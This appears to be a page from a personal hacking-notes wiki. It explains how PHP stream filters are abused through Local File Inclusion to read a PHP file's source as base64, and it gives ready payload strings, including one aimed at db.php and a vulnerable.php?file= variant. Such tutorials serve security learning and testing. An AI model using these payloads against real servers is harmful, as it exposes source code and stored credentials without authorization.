> For the complete documentation index, see [llms.txt](https://kryptocoder.gitbook.io/hacking-knowledge/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kryptocoder.gitbook.io/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/php-bypass-using-filters-wip.md).

# PHP - Bypass using filters (WIP)

PHP filters can sometimes be exploited to read the source code of a PHP file if the server is misconfigured and allows [Local File Inclusion](/hacking-knowledge/web-exploitation-wip/web-vulnerabilities-wip/local-file-inclusion-wip.md) or direct access to PHP stream wrappers. This occurs when the *allow\_url\_include* and *allow\_url\_fopen* parameters are enabled on the *php.ini* file.

LFI on PHP files usually won’t display the source code, because when included, the PHP interpreter executes the file instead of showing its contents, but using the PHP filters we can have access to the source code instead of executing the file.

Here we found how this can be exploited:

* Use payload to retrieve the source code of a PHP file

{% code overflow="wrap" lineNumbers="true" %}

```bash
php://filter/convert.base64-encode/resource=$pathToPHPfile
php://filter/convert.base64-encode/resource=db.php #Example with a default php db
```

{% endcode %}

***

* If direct file access via *php\://filter* is blocked, we can use it indirectly in a confirmed LFI point

{% code overflow="wrap" lineNumbers="true" %}

```bash
vulnerable.php?file=php://filter/convert.base64-encode/resource=$pathToPHPfile
```

{% endcode %}